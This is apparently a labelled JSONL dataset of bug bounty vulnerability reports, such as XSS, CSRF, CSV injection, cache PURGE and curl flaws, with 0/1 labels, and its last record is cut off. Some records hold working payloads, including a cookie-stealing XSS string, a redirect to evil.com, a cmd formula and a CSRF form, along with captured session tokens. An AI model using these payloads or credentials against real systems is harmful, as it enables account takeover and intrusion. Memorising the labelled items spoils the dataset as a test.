+{"id": "a620b82eb3ec28a80895", "text": "MiniDVBLinux 5.4 Arbitrary File Read Vulnerability\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2022-10-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "72b07edc85a0a2f74c60", "text": "[Unknown] Yet another SSRF query for Go\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "f053e41150d0d5855f1c", "text": "[Uncontrolled Resource Consumption] [CVE-2022-44572] Possible Denial of Service Vulnerability in Rack’s RFC2183 boundary parsing\n\nI reported at https://hackerone.com/reports/1639882\n\nhttps://discuss.rubyonrails.org/t/cve-2022-44572-possible-denial-of-service-vulnerability-in-racks-rfc2183-boundary-parsing/82124\n> There is a denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44572.\n> Carefully crafted input can cause RFC2183 multipart boundary parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\n\n## Impact\n\nAny applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\nThis regular expression does not have the effect of ReDoS countermeasures using memoization in Ruby 3.2.", "source": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "df8a9eb21688121a030e", "text": "[Client-Side Enforcement of Server-Side Security] Information disclosure by sending a GIF\n\n# Summary\n- The attacker can view the Operating System, Version Of  The Operating System, Browser, IP Address, Device ID, Phone Model, Time Zone and other critical information about any LinkedIn user they have identified as a victim.\n\n# Steps to Reproduce\n\n1- Create a standard linkedin user account to use in the attack.\n2- Select a GIF from the GIF Keyboard and capture the request with Burp Suite while sending it to your victim.\n3- Forward all requests until you get to the voyager/api/voyagerMessagingDashMessengerMessages?action=createMessage endpoint. In this request, type the Burp Suite Collaborator url in message.renderContentUnions.externalMedia.media.url in the JSON Data containing (parameters) section.\n4- When the victim opens the message box, the attacker will get critical information about the victim.\n\n** Steps Photo **\n\n{F2073194}\n{F2073195}\n{F2073196}\n{F2073197}\n{F2073200}\n{F2073201}\n{F2073202}\n\n## Notes ##\n\n- This vulnerability affects not only smartphones but all platforms where you can use the link (Smart Phones, iPads, Web Browser, Smart TV etc.)\n- When the victim uses an apple phone, much more and critical data can be obtained than the android and web version.\n\n{F2073291}\n--------\n{F2073293}\n\n## PoC Video\n{F2073296}\n{F2073297}\n\n## References\n- Same Attack Scenarios\n\nhttps://ph-hitachi.medium.com/facebook-bug-poc-external-service-interaction-dns-http-ab55bfdb98f6\n\n## Impact\n\nBlack Hat Hackers can get critical information about all LinkedIn users. The information obtained is very important for the privacy of the users and includes information such as IP address, OS versions.", "source": "hackerone", "timestamp": "2023-04-28", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e71748050a720ef3be73", "text": "[Misconfiguration] Exposed Cortex API at https://cortex-ingest.shopifycloud.com/\n\nHi there, to be honest this is the first time I have seen this type of asset, but I think it is interesting/not supposed to be exposed. There is a Cortex metrics server running without authentication on https://cortex-ingest.shopifycloud.com/. This allows us to see the config for the server, call various Cortex APIs, and also exposes a Golang pprof debugger where we can see all the command-line arguments and DoS the server.\n\nExample URLs:\n* Cortex home: https://cortex-ingest.shopifycloud.com/\n* Cortex config: https://cortex-ingest.shopifycloud.com/config\n* Golang pprof home: https://cortex-ingest.shopifycloud.com/debug/pprof/\n* Golang pprof cmdline: https://cortex-ingest.shopifycloud.com/debug/pprof/cmdline?debug=1\n\nI see that the Cortex API offers many endpoints, some of which work and some of which do not: https://cortexmetrics.io/docs/api/#endpoints. I will take a look and see what impact I can find there.\n\n## Impact\n\nInformation disclosure, no authentication", "source": "hackerone", "timestamp": "2022-12-02", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "2815e3862b7fb4f3b53a", "text": "[Improper Authentication - Generic] PURGE is not authenticated\n\nHi @yelp Team,\n\nAnyone can issue a PURGE request for any resource and invalidate your caches. That can lead to increased bandwidth costs.\n\nFetching the resource headers, we can see in the `X-Cache-Hits: 1, 14` :\n```\nE:\\>curl https://s3-media0.fl.yelpcdn.com/assets/public/pride@2x.yelp_design_web.yji-629fce3629585b9db2137d9353196628.png --head\nHTTP/1.1 200 OK\nETag: \"629fce3629585b9db2137d9353196628\"\nx-amz-version-id: KnfcY6QenKubeC6DBXpUT1d87B17ORdD\nContent-Type: image/png\nServer: AmazonS3\nVia: 1.1 varnish\nAccess-Control-Allow-Origin: *\nContent-Length: 17079\nAccept-Ranges: bytes\nDate: Wed, 26 Jun 2019 01:22:10 GMT\nVia: 1.1 varnish\nConnection: keep-alive\nX-Served-By: cache-sjc3141-SJC, cache-hkg17922-HKG\nX-Cache: HIT, HIT\nX-Cache-Hits: 1, 14\nX-Timer: S1561512131.889727,VS0,VE0\nCache-Control: max-age=315360000, immutable\nTiming-Allow-Origin: *\nX-Content-Type-Options: nosniff\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\n```\n\nUnauthenticated purge request:\n```\nE:\\>curl https://s3-media0.fl.yelpcdn.com/assets/public/pride@2x.yelp_design_web.yji-629fce3629585b9db2137d9353196628.png --head -XPURGE\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 46\nAccept-Ranges: bytes\nDate: Wed, 26 Jun 2019 01:22:17 GMT\nX-Varnish: 1668603163\nVia: 1.1 varnish\nConnection: keep-alive\nX-Served-By: cache-hkg17923-HKG\n```\n\nHeader `X-Cache-Hits: 1, 0`:\n```\nE:\\>curl https://s3-media0.fl.yelpcdn.com/assets/public/pride@2x.yelp_design_web.yji-629fce3629585b9db2137d9353196628.png --head\nHTTP/1.1 200 OK\nETag: \"629fce3629585b9db2137d9353196628\"\nx-amz-version-id: 8qpzJuX00EuyeMTUm5QGEHehZ2rbfRmQ\nContent-Type: image/png\nServer: AmazonS3\nVia: 1.1 varnish\nAccess-Control-Allow-Origin: *\nContent-Length: 17079\nAccept-Ranges: bytes\nDate: Wed, 26 Jun 2019 01:22:20 GMT\nVia: 1.1 varnish\nConnection: keep-alive\nX-Served-By: cache-sjc3129-SJC, cache-hkg17923-HKG\nX-Cache: HIT, MISS\nX-Cache-Hits: 1, 0\nX-Timer: S1561512140.209567,VS0,VE151\nCache-Control: max-age=315360000, immutable\nTiming-Allow-Origin: *\nX-Content-Type-Options: nosniff\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\n```\n\n## Impact\n\nThat can lead to increased bandwidth costs.", "source": "hackerone", "timestamp": "2023-01-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "cf963b04028bf00023d8", "text": "[Out-of-bounds Read] CVE-2022-35260: .netrc parser out-of-bounds access\n\n## Summary:\nCurl expects the .netrc file to have space characters. So if there is no space character, it will do an out-of-bounds read and a 1-byte out-of-bounds write.\nThis can happen multiple times depending on the state of the memory.\n\n## Steps To Reproduce:\n\n  `curl --netrc-file .netrc test.local`\n\".netrc\" is attached.\nThe content is 'a' for 4095 bytes.\nDepending on memory conditions, even single-byte files can cause problems.\n\nIt's not exactly just spaces and newlines.\nThe condition is that the .netrc file does not contain characters for which ISSPACE() returns true (so it is also a condition that there is no line feed code).\nThere is a problem with parsenetrc() in lib/netrc.c.\nparsenetrc() has the following loop.\n```\n    while(!done && fgets(netrcbuffer, netrcbuffsize, file)) {\n      char *tok;\n      char *tok_end;\n      bool quoted;\n      if(state == MACDEF) {\n        if((netrcbuffer[0] == '\\n') || (netrcbuffer[0] == '\\r'))\n          state = NOTHING;\n        else\n          continue;\n      }\n      tok = netrcbuffer;\n      while(tok) {\n        while(ISSPACE(*tok))\n          tok++;\n        /* tok is first non-space letter */\n        if(!*tok || (*tok == '#'))\n          /* end of line or the rest is a comment */\n          break;\n\n        /* leading double-quote means quoted string */\n        quoted = (*tok == '\\\"');\n\n        tok_end = tok;\n        if(!quoted) {\n          while(!ISSPACE(*tok_end))\n            tok_end++;\n          *tok_end = 0;\n        }\n```\nThe 'a' and the terminating character '\\0' in the .netrc file are characters for which ISSPACE() returns false, so while on line 25 is true(!false).\nThis causes an out-of-bounds read.\nAlso, line 27 is an out-of-bounds write. (1 byte for '\\0).\n\n## Remediation ideas:\nI think it would be better to include the condition that *tok is not NULL in the while statement.\n\n## Impact\n\nApplication crash plus other as yet undetermined consequences.", "source": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "feb789bb4fa5c4068bb5", "text": "[Information Disclosure] LDAP Anonymous Login enabled in ████\n\n**Description:**\nThe host ██████████ has anonymous LDAP login enabled, which means that anyone can connect to the LDAP server without providing any authentication credentials. This allows unauthorized users to perform LDAP queries, potentially retrieving sensitive information such as user details, organizational data, or other critical information stored in the LDAP directory.\n\n## References\nhttps://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap\n\n## Impact\n\nAttackers can exploit this vulnerability to gain unauthorized access to the LDAP server and retrieve sensitive information stored within the directory. Attackers can use the gathered information to perform further attacks, including privilege escalation, or targeted attacks against the system or its users.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\nLADP\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n## Proof Hosts Belong to DoD\n\n██████\n\n1. First install ldap3 using pip3 and run the following command.\n\n```\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> import ldap3==\n>>> server = ldap3.Server('██████████', get_info = ldap3.ALL, port =636, use_ssl = True)\n>>> connection = ldap3.Connection(server)\n>>> connection.bind()\nTrue\n>>> server.info\nDSA info (from DSE):\n  Supported LDAP versions: 2, 3\n  Naming contexts: \n    dc=satx,dc=disa,dc=mil\n    uid=Monitor\n    cn=iasdsadmin\n  Supported controls: \n    1.2.826.0.1.3344810.2.3 - Matched Values - Control - RFC3876\n    1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT\n    1.2.840.113556.1.4.319 - LDAP Simple Paged Results - Control - RFC2696\n    1.2.840.113556.1.4.473 - Sort Request - Control - RFC2891\n    1.2.840.113556.1.4.805 - Tree delete - Control - MICROSOFT\n    1.3.6.1.1.12 - Assertion - Control - RFC4528\n    1.3.6.1.1.13.1 - LDAP Pre-read - Control - RFC4527\n    1.3.6.1.1.13.2 - LDAP Post-read - Control - RFC4527\n    1.3.6.1.4.1.26027.1.5.2 - Replication repair - Control - OpenDS\n    1.3.6.1.4.1.26027.1.5.4\n    1.3.6.1.4.1.36733.2.1.5.1\n    1.3.6.1.4.1.36733.2.1.5.5\n    1.3.6.1.4.1.42.2.27.8.5.1 - Password policy - Control - IETF DRAFT behera-ldap-password-policy\n    1.3.6.1.4.1.42.2.27.9.5.2 - Get effective rights - Control - IETF DRAFT draft-ietf-ldapext-acl-model\n    1.3.6.1.4.1.42.2.27.9.5.8 - Account usability - Control - SUN microsystems\n    1.3.6.1.4.1.4203.1.10.1 - Subentries - Control - RFC3672\n    1.3.6.1.4.1.4203.1.10.2 - No-Operation - Control - IETF DRAFT draft-zeilenga-ldap-noop\n    1.3.6.1.4.1.4203.666.5.12\n    1.3.6.1.4.1.7628.5.101.1 - LDAP subentries - Control - IETF DRAFT draft-ietf-ldup-subentry\n    2.16.840.1.113730.3.4.12 - Proxied Authorization (old) - Control - Netscape\n    2.16.840.1.113730.3.4.16 - Authorization Identity Request Control - Control - RFC3829\n    2.16.840.1.113730.3.4.17 - Real attribute only request - Control - Netscape\n    2.16.840.1.113730.3.4.18 - Proxy Authorization Control - Control - RFC6171\n    2.16.840.1.113730.3.4.19 - Chaining loop detection - Control - Netscape\n    2.16.840.1.113730.3.4.2 - ManageDsaIT - Control - RFC3296\n    2.16.840.1.113730.3.4.3 - Persistent Search - Control - IETF\n    2.16.840.1.113730.3.4.4 - Netscape Password Expired - Control - Netscape\n    2.16.840.1.113730.3.4.5 - Netscape Password Expiring - Control - Netscape\n    2.16.840.1.113730.3.4.9 - Virtual List View Request - Control - IETF\n  Supported extensions: \n    1.3.6.1.1.8 - Cancel Operation - Extension - RFC3909\n    1.3.6.1.4.1.1466.20037 - StartTLS - Extension - RFC4511-RFC4513\n    1.3.6.1.4.1.26027.1.6.1 - Password policy state - Control - OpenDS\n    1.3.6.1.4.1.26027.1.6.2 - Get connection ID - Control - OpenDS\n    1.3.6.1.4.1.26027.1.6.3 - Get symmetric key - Control - OpenDS\n    1.3.6.1.4.1.4203.1.11.1 - Modify Password - Extension - RFC3062\n    1.3.6.1.4.1.4203.1.11.3 - Who am I - Extension - RFC4532\n  Supported features: \n    1.3.6.1.1.14 - Modify-Increment - Feature - RFC45", "source": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "cc41e146acbe14e620c5", "text": "[Cross-site Scripting (XSS) - Stored] HTML injection in search UI when selecting a circle with HTML in the display name\n\nHTML injection is a web security issue where attackers insert harmful code into a web application, affecting how it appears and functions. This can lead to data theft, phishing, malware distribution, and session hijacking, posing significant risks to users and the application's integrity. Prevention involves thoroughly checking and encoding user-generated content to ensure it's safe for rendering in web pages.\n\nReproduction Steps: \n\n1. Log in to the application using a low-privilege user account.\n2. Access the \"Contacts\" section and initiate the creation of a new Circle.\n3. When naming the Circle, insert the following payload: ``<meta http-equiv=\"refresh\" content=\"2; https://evil.com/\" />``.\n4. Share the Circle with a user account having an \"Admin\" role.\n5. Switch to the \"Admin\" user role and go to \"Files\" > \"Shared with Circles.\"\n6. Observe that the browser will redirect to a malicious website within a 2-second timeframe.\n\nVideo POC : \n{F2775888}\n\n## Impact\n\nHTML injection can have significant impacts, including:\n\nData theft\nPhishing attacks\nMalware distribution\nSession hijacking\nThese consequences can harm both users and the application's security.", "source": "hackerone", "timestamp": "2023-11-21", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "76a49c18e8959fe45119", "text": "[Insecure Direct Object Reference (IDOR)] IDOR vulnerability in unreleased HackerOne Copilot feature\n\n**Summary:**\nHello HackerOne security team :-)\nFor a while now I have been monitoring H1 js files. I've just noticed some new GraphQL queries about `HackerOne Copilot`. While this feature has not yet been released, the vulnerability must be fixed.\n`DestroyLlmConversation` GraphQL mutation is vulnerable to IDOR.\n\n### Steps To Reproduce\n1. Navigate to `https://hackerone.com/opportunities/all`\n2. Execute this JS command to show `Hackerone Copilot` GUI\n```javascript\ndocument.querySelectorAll('div').forEach(e => {\n    e.classList.remove('hidden');\n    e.classList.remove('dark:text-white');\n});\n```\n{F2790650}\n3. Hackerone Copilot GUI will appear, here you can create a new conversation. Looks like you can't talk to LLM at the moment.\n4. After creating a new conversation, look for `\"operationName\":\"NewConversation\",` graphql request in your `Proxy History` and store somewhere the value of `data.newConversation.llm_conversation.id` from the response.\n5. From the second (attacker) account, send the following graphql request:\n```json\n{\"operationName\":\"DestroyLlmConversation\",\"variables\":{\"llmConversationId\":\"#\"},\"query\":\"\\n  mutation DestroyLlmConversation($llmConversationId: ID!) {\\n    destroyConversation(input: { llm_conversation_id: $llmConversationId }) {\\n      destroyed\\n    }\\n  }\\n\"}\n```\n6. Go back to the victim account, refresh the page, execute the script again, and notice that the conversation is gone.\n\n## Impact\n\nThis vulnerability allows the attacker to remove any LLM conversation in the unreleased `HackerOne Copilot` feature. This feature has not been released yet although this might still be vulnerable in the future when this feature is released.", "source": "hackerone", "timestamp": "2023-10-25", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "898e3d3e0ba6a0facca8", "text": "[Cross-site Scripting (XSS) - Reflected] xss reflected on imgur.com\n\nSteps to reproduce : \n- i log in to my account and navigate to see other profile\n- i intercept the request then click Give Emerald\n\n{F1115658}\n\nRequest look like : \n```\nPOST /account/v1/gifting/purchase?client_id=546c25a59c58ad7 HTTP/1.1\nHost: api.imgur.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://imgur.com/user/hermawanferdi\nContent-Type: application/json\nOrigin: https://imgur.com\nContent-Length: 311\nConnection: close\nCookie: postpagebeta=1; amplitude_id_f1fc2abcb6d136bd4ef338e7fc0b9d05imgur.com=eyJkZXZpY2VJZCI6ImM5YzdiYTIxLTAzMjgtNGJkZi05ZGQ2LTE4NDFmZTY2ZGI3Y1IiLCJ1c2VySWQiOiIxMTI1OTYxMzUiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE2MDc5MjQxNTE0MDcsImxhc3RFdmVudFRpbWUiOjE2MDc5MjQ5NzA1ODQsImV2ZW50SWQiOjIwLCJpZGVudGlmeUlkIjozNiwic2VxdWVuY2VOdW1iZXIiOjU2fQ==; is_emerald=0; __qca=P0-164562980-1607924155407; is_authed=1; IMGURSESSION=6bc49554ae5b60f78f6928698819d0aa; SESSIONDATA=%7B%22sessionCount%22%3A1%2C%22sessionTime%22%3A1607924534647%7D; IMGURUIDJAFO=98a32f615768bd72bcfd89f450ea3f8c7a8b83db9647ade587ead48ace80048a; G_ENABLED_IDPS=google; authautologin=b63b9adee68e2e6ff10c0524995762d1%7EhtH5HkdxlstYng81Zq26XEEq7fv7IRra; accesstoken=095cd3db32693c0127c479dfda1fd563c776bdcd; _nc=1; postpagebetalogged=1; frontpagebetav2=1; pp=4807269994624293; fpb-roll=28.099570399611384; __asc=5812397c1765fc71d7f51cf98df; __auc=5812397c1765fc71d7f51cf98df; _ga=GA1.2.509004379.1607924653; _gid=GA1.2.206575419.1607924653; _fbp=fb.1.1607924654910.554323515\n\n{\"gifter_id\":112596135,\"recipient_id\":136516779,\"amount\":1,\"redirect_url\":\"https://imgur.com/emerald/give-emerald?username=hermawanferdi&redirect=https://imgur.com/user/hermawanferdi\",\"source\":\"User profiler\",\"source_url\":\"https://imgur.com/user/hermawanferdi\",\"anonymous\":true,\"post_id\":null,\"comment_id\":null}\n```\n\n- i notice \"redirect_url\":\"https://imgur.com/emerald/give-emerald?username=hermawanferdi&redirect=https://imgur.com/user/hermawanferdi\"\n- i copy the url and change the redirect parameter\n- i change the redirect parameter with payload xss \"javascript:alert(document.cookie)\"\n- i open the url on browser\n- xss alert\n\n{F1115659}\n\n## Impact\n\nreflected xss / xss attack", "source": "hackerone", "timestamp": "2022-01-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "a180faec44128783128d", "text": "[Information Disclosure] CVE-2022-27775: Bad local IPv6 connection reuse\n\n## Summary:\ncurl/libcurl doesn't consider IPv6 address zone index when doing connection reuse. if connection exists to specific IPv6 address (and other conditions for connection reuse are fulfilled) it will be reused for connections regardless of the zone index.\n\n## Steps To Reproduce:\n\n  1. Set up a fake server: `echo -ne 'HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nHello\\n' | nc -6 -v -l -p 9999`\n  2. curl \"http://[ipv6addr]:9999/x\" \"http://[ipv6addr%25lo]:9999/y\"\n\nBoth connections arrive to the test server:\n\n```\nListening on :: 9999\nConnection received on somehost someport\nGET /x HTTP/1.1\nHost: [ipv6addr]:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\n\nGET /y HTTP/1.1\nHost: [ipv6addr]:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\n```\n\nClearly the 2nd connection should fail as the address is not available at interface lo. (Lone connection to `http://[ipv6addr%25lo]:9999/` fails with `curl: (7) Couldn't connect to server`)\n\nThis vulnerability isn't exploitable with public IPv6 addresses on linux systems (it seems kernel strips out zone index for public addresses). It is exploitable with macOS however, and possibly other non-linux OSes.\n\n## Impact\n\nReuse of wrong connection leading to potential disclosure of confidential information.", "source": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "883dc36734051c8a3063", "text": "OpenBMCS 2.4 Create Admin / Remote Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2022-01-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "975350be2f963fe04c23", "text": "[Cross-Site Request Forgery (CSRF)] CSRF to delete accounts [HtUS]\n\nHello,\nI Have an endpoint in ██████████that's vulerable to CSRF which lead to delete a victim's account\n\nSteps to reproduce:\n1. Nevgaite to ███Create an account\n2. Click on your profile\n3. You will see DELETE ACCOUNT button\n4. Click on it and type YES in the input\n5. Make sure your burpsuite is on and click delete account button\n\n```\nPOST /users/deleteAccount HTTP/1.1\nHost: ██████\nCookie: _ga=GA1.2.984523169.1657131465; _gid=GA1.2.2029769492.1657131465; session=eyJwYXNzcG9ydCI6eyJ1c2VyIjoibmlnaHRtNHJlQHdlYXJlaGFja2Vyb25lLmNvbSJ9fQ==; session.sig=S8rkHNPfoRIIU66VUCbDCaV_Kb4; _ga_FCSTM1E00P=GS1.1.1657145372.2.1.1657145650.0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nOrigin: https://███████\nReferer: https://█████/users/deleteAccount\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nContent-Length: 0\nTe: trailers\nConnection: close\n```\n\n6. Capture the request and click right > Engagement Tools > Generate CSRF POC\n\n```\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://████/users/deleteAccount\" method=\"POST\">\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n```\n\n7. Copy the HTML Code and put to your server and send the page to the victim\n8. Once the vicitm opnening the page his account will be deleted\n\n## Impact\n\nAn attacker can delete vicitm's account", "source": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3c38ec5c8e428872061e", "text": "[Improper Access Control - Generic] After the upload of an private file, using transformations, the file becomes public without the possibility of changing it.\n\n## Summary:\nWhen an user uploads a private file, ex (Screenshot 1), where only he has access to. Using the \"View transformations\" function can generate different kinds of image transformations (Screenshot 2). But after the generation of that transformation for example clicking on  the regenerate button next to profile. The function will create a cropped public image, where the user is unable to edit or modify his own generated image (Screenshot 3). \n\nIssue: You have a picture with you smiling and your passport holding in your hand (An example would be a \"know you customer purpose\" selfie). You like that picture on how you look, so you upload it on phabricator, privately, assuming nobody can view it. You click on view transformations, to modify and crop that picture, to get rid of the sensitive data passport you are holding in your hand, so only the face remains. After you clicked on the regenerate next to profile, you realize the crop doesn't work as intended and your passport data is still in there. So you want to modify/delete that picture but you cant. And what's worse that picture visible to anyone and you don't have access to remove it nor to modify it.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n 1.Upload a private picture here: https://phabricator.allizom.org/file/upload/\n 2.Change the visibility to no one or just you.\n 3. After the upload, click on \"View Transformations\" on the right.\n 4. There you can create different transformations when you click on regenerate.\n 5. After that you, you get a new preview to your generated picture. \n 6. Now go back, to the transforms page, and you get a new link on phabricator, that is public, and can't be changed.\n\nI've added a video that showcases this behavior. \n\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\nI've added screenshots and a video to showcase this issue.\n  * [attachment / reference]\n\n## Impact\n\nThe user is assuming that he can upload private data securely. Not knowing that the transform feature will make his uploaded files public with no way to delete it, could in worst case leak PII information.", "source": "hackerone", "timestamp": "2023-10-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "95a931ccfcc6dcbbf02f", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on ( █████████.gov ) Via URL path\n\nHi team,\nI was able to execute XSS on  ███████.gov  \n\nSteps to produce - \n1 -Turn on the burp intercepter \n2- Go to  https://██████.gov/xapi/statements?file\"><script>alert(document.domain)</script>\n3-  In  Intercepter add the following Headers \n\n  Authorization: Basic eGFwaS10b29sczp4YXBpLXRvb2xz\n   X-Experience-Api-Version: 1.0.1\n\n4-  when you send this GET request you will receive a response with XSS payload executed.\n\n## Impact\n\nAn attacker can send the malicious link to victims and steals victims' cookie leading to account takeover.\n\n## System Host(s)\nwww.███.gov\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-41878\n\n## Steps to Reproduce\nI have attached the Video POC, please check it out.\n\n## Suggested Mitigation/Remediation Actions\nsanitize the inputs in the URL", "source": "hackerone", "timestamp": "2023-01-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "a94d1e88921f3a4e87cb", "text": "[Command Injection - Generic] CSV Injection at https://assets-paris-demo.codefi.network/\n\n## Summary:\nHi consensys Security Team.\n\nI have found CSV Injection when generate report at https://assets-paris-demo.codefi.network/\n\nCSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files.\nWhen a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with = will be interpreted by the software as a formula. Maliciously crafted formulas can be used for three key attacks:\n\n    - Hijacking the user’s computer by exploiting vulnerabilities in the spreadsheet software, such as CVE-2014-3524.\n    - Hijacking the user’s computer by exploiting the user’s tendency to ignore security warnings in spreadsheets that they downloaded from their own website.\n    - Exfiltrating contents from the spreadsheet, or other open spreadsheets.\n\n\n## Steps To Reproduce:\n1. Create an account at https://assets-paris-demo.codefi.network/ \n2. Go to Client management\n3. Create new client \n4. At Client name* Put this paylaod:- `=cmd|' /C notepad'!'A1'`\n5. After create new client Download the data.\n\n## Supporting Material/References:\n\n{F2002581}\n\n##Similar valid reports at hackerone:-\n   - https://hackerone.com/reports/118582\n   - https://hackerone.com/reports/223344\n   - https://hackerone.com/reports/386116\n\nPlease let me know if need more info.\nBest Regards.\n@doosec101\n\n## Impact\n\nThis vulnerability can be harm for normal user because if malicious user injected any malicious script in token note and when customer user download CSV file then inserted command directly runs when CSV file open.\n\n##FIX:-\n    Prefix =, +, - and @ symbols with a ' in issues when exporting them to a .csv file.", "source": "hackerone", "timestamp": "2023-01-04", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "77576f8b7b6a502bdc4b", "text": "[Improper Authentication - Generic] OAUTH2 bearer not-checked for connection re-use\n\nlibcurl might reuse OAUTH2-authenticated connections without properly making\nsure that the connection was authenticated with the same credentials as set\nfor this transfer. This affects SASL-enabled protcols: SMTP(S), IMAP(S),\nPOP3(S) and LDAP(S) (openldap only).\n\nlibcurl maintains a pool of connections after a transfer has completed. The\npool of connections is then gone through when a new transfer is requested and\nif there's a live connection available that can be reused, it is preferred\ninstead of creating a new one.\n\nA connection that is successfully created and authenticated with a user name +\nOAUTH2 bearer could subsequently be reused even for user + [other OAUTH2\nbearer], even though that might not even be a valid bearer. This could lead to\nan authenticion bypass, either by mistake or by a malicious actor.\n\nThe problem can be demontrated using an imap server supporting OAUTH2 authentication using command:\n\n`curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer anything`\n\nNote:\nThis vulnerability has been assigned CWE-305 \"Authentication Bypass by Primary Weakness\" that is not selectable on the current IBB form.\n\n## Impact\n\nUnauthorized access.", "source": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "2e3ede3df805014a5902", "text": "[Cross-site Scripting (XSS) - Reflected] XSS DUE TO CVE-2022-38463 in https://████████\n\n**Description:**\nDuring my research, I found one of the host running ServiceNow vulnerable to CVE-2022-38463 . ServiceNow through San Diego Patch 4b and Patch 6 allows reflected XSS in the logout functionality.\n\n## Impact\n\nAttacker is able to steal victims cookies, redirect victim to attacker controlled domain, and perform various malicious activities.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1.Enter the following crafted URL in any web-browser.\n\nhttps://█████████/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)\n\n2. XSS will be triggered.\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ac42628b28b84ce77d61", "text": "[Unknown] URI parser's RFC3986 regular expression has poor performance when there are two # characters, leading to ReDoS\n\n## Summary\n\nHello team, I hope you're doing well! The `URI` parser mishandles invalid URLs that have two `#` characters. It does correctly identify that they're invalid, but the regex performs very poorly and execution time grows much faster than the string length.\n\nI found this somewhat accidentally when fuzzing for something else. I'm not sure if you care about such issues but I figured I'd report it anyway. The length of the strings required to actually cause the process to hang are very long, but it's not really an issue when the user-controlled input is sent in a request body.\n\n## Steps to reproduce\n\nRun the following script\n\n```ruby\nrequire 'benchmark'\nrequire 'uri'\n\ndef parse(n)\n  URI('https://example.com/dir/' + 'a' * n + '/##.jpg')\n  rescue URI::InvalidURIError\n  # Invalid URI because of the two #\nend\n\nn = 50000\nBenchmark.bm(7) do |x|\n  x.report('Base length') { parse(n) }\n  x.report('Length x2  ') { parse(n * 2) }\n  x.report('Length x4  ') { parse(n * 4) }\n  x.report('Length x8  ') { parse(n * 8) }\nend\n```\n\nHere's the output on my machine\n\n```plaintext\n              user     system      total        real\nBase length  1.086961   0.003059   1.090020 (  1.090500)\nLength x2    4.415046   0.000000   4.415046 (  4.416986)\nLength x4   22.021462   0.003294  22.024756 ( 22.042507)\nLength x8  122.695223   0.006653 122.701876 (122.853669)\n```\n\nWe can see the execution time is roughly quintuples when the string length only doubles.\n\nHere's my Ruby version\n\n```shell\n$ ruby -v\nruby 